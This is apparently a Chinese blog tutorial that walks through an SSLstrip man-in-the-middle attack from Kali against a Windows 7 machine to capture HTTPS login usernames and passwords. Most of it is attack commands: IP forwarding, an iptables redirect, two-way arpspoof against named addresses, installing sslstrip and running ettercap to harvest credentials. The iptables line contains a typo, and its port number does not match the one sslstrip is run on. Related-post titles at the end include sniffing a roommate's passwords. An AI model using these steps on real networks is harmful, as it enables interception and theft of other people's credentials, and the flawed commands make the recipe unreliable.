HTTPS网页账号密码嗅探

2024-06-19 15:02:18

一：SSL原理

SSL的作用是为了传输一些敏感信息（比如凭证账号密码）提供安全可靠的保障，确保用户使用浏览器和服务器之间传输的数据是安全可信的
当我们访问HTTPS类型的网站，浏览器首先是向服务器发送HTTP层面的请求，并且附带证书验证，在得到双方证书有效后，两者开始SSL安全通信

二：实战

原理：使用SSLstrip攻击，让我们的kali充当中间人（代理服务器），一边负责和靶机win7之间进行http明文通信，kali能够截获明文数据。另一方面kali进行路由转发，和原本win7要连接的服务器进行正常的https通信

工具sslstrip：kali2020是没有安装的，需要自行安装，参考后面的步骤

1.开启路由器转发（终端1）

echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward

2.开启iptables规则（终端2）

iptables -t nat -A PREROUTING -p tcp --destion-port 80 -j REDIRECT --to-port 1000

作用：在kali中实现从win7靶机截获的HTTP流量转发到SSLstrip中，并在10000端口上运行SSLstrip，实现win7原来要访问的远程服务器建立https（ssl）通信

3.ARP双向欺骗（冒充网关）
终端1：

arpspoof -i eth0 -t 192.168.1.183 192.168.1.1

终端2：

arpspoof -i eth0 -t 192.168.1.1 192.168.1.183

4.安装sslstrip套件工具（终端3）

git clone https://github.com/moxie0/sslstrip.git

（1）进入sslstrip文件目录，找到setup.py安装文件

cd sslstrip

（2）安装setup.py

python2 setup.py install

（3）继续安装模块（此时可能提示找不到pip2,下面有讲解）此时可能会因断开连接，多试几次，还是不行就去官网下载

pip2 install twisted

（4）安装第二个模块

pip2 install service_identity

（5）开启攻击：

sslstrip -l 10000

5.靶机登录https类型网页、

6.嗅探账号密码（终端4）

ettercap -Tq -i eth0

如果找不到pip2

sudo apt-get remove gedit
sudo apt-get install gedit（提示路径不对）
export PATH=/home/cyd/.local/bin/:$PATH（这个根据提示来）

HTTPS网页账号密码嗅探相关推荐

如何将网页保存为图片_网页账号密码该如何保存？
我们在使用浏览器浏览一些网页的时候,需要输入我们的账号密码才能登陆,以保证安全.但是有时候浏览网页,不小心关掉了,重新打开时又要重新输入密码,这样会显得很繁琐.那么有什么办法能让网页记住我们的账号密 ...
java与es8实战之五：SpringBoot应用中操作es8(带安全检查：https、账号密码、API Key)
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览本篇是<java与es8实战>系 ...
python登录网页账号密码_Python 通过爬虫实现GitHub网页的模拟登录的示例代码
1. 实例描述通过爬虫获取网页的信息时,有时需要登录网页后才可以获取网页中的可用数据,例如获取 GitHub 网页中的注册号码时,就需要先登录账号才能在登录后的页面中看到该信息,如下图所示.那么该如 ...
python登录网页账号密码_遇到需要登录的网站怎么办？学好python，用这3招轻松搞定...
你好由于你是游客无法查看本文请你登录再进谢谢合作..... 当你在爬某些网站的时候需要你登录才可以获取数据咋整? 莫慌把这几招传授给你让你以后从容应对登录的常见方法无非是这两种 1. ...
python登录网页账号密码_python03网页用户名密码登录
2018-01-16 很成功,已经登录进去了. som系统的登录,使用用户名.密码. 思路:定位到用户名密码的输入框,输入有效的用户名.密码,点击登录按钮. #coding:utf-8 from se ...
kali局域网APR攻击三https降级为http+网站账号密码获取
https降级为http+网站账号密码获取再次声明小白一枚小白一枚小白一枚更多教程和软件尽在:https://xiaobaif.cn 大家浏览网页时候可以看到有些网站是http开头的,有些是 ...
Ettercap嗅探室友浏览的图片和账号密码
一,介绍本次实验介绍利用arp棋牌,搭配Ettercap嗅探目标IP正在浏览的图片,以及输入的账号密码. ettercap:最初设计为交换网上的sniffer,但是随着发展,它获得了越来越多的功能, ...
HTTP/HTTPS账号密码获取
kali系统命令: arpspoof -i 网卡 -t 目标IP 网关 #断网攻击 HTTP账号密码获取: 命令:echo 1 > /proc/sys/net/ipv4/ip_forward # ...
需账号密码登陆的网页爬虫
对于普通网页的爬取十分简单,如果网站没有任何反爬机制,只要以下代码就可以实现对于网页的爬取 import requests html = requests.get(url='网址',headers=h ...

最新文章

热门文章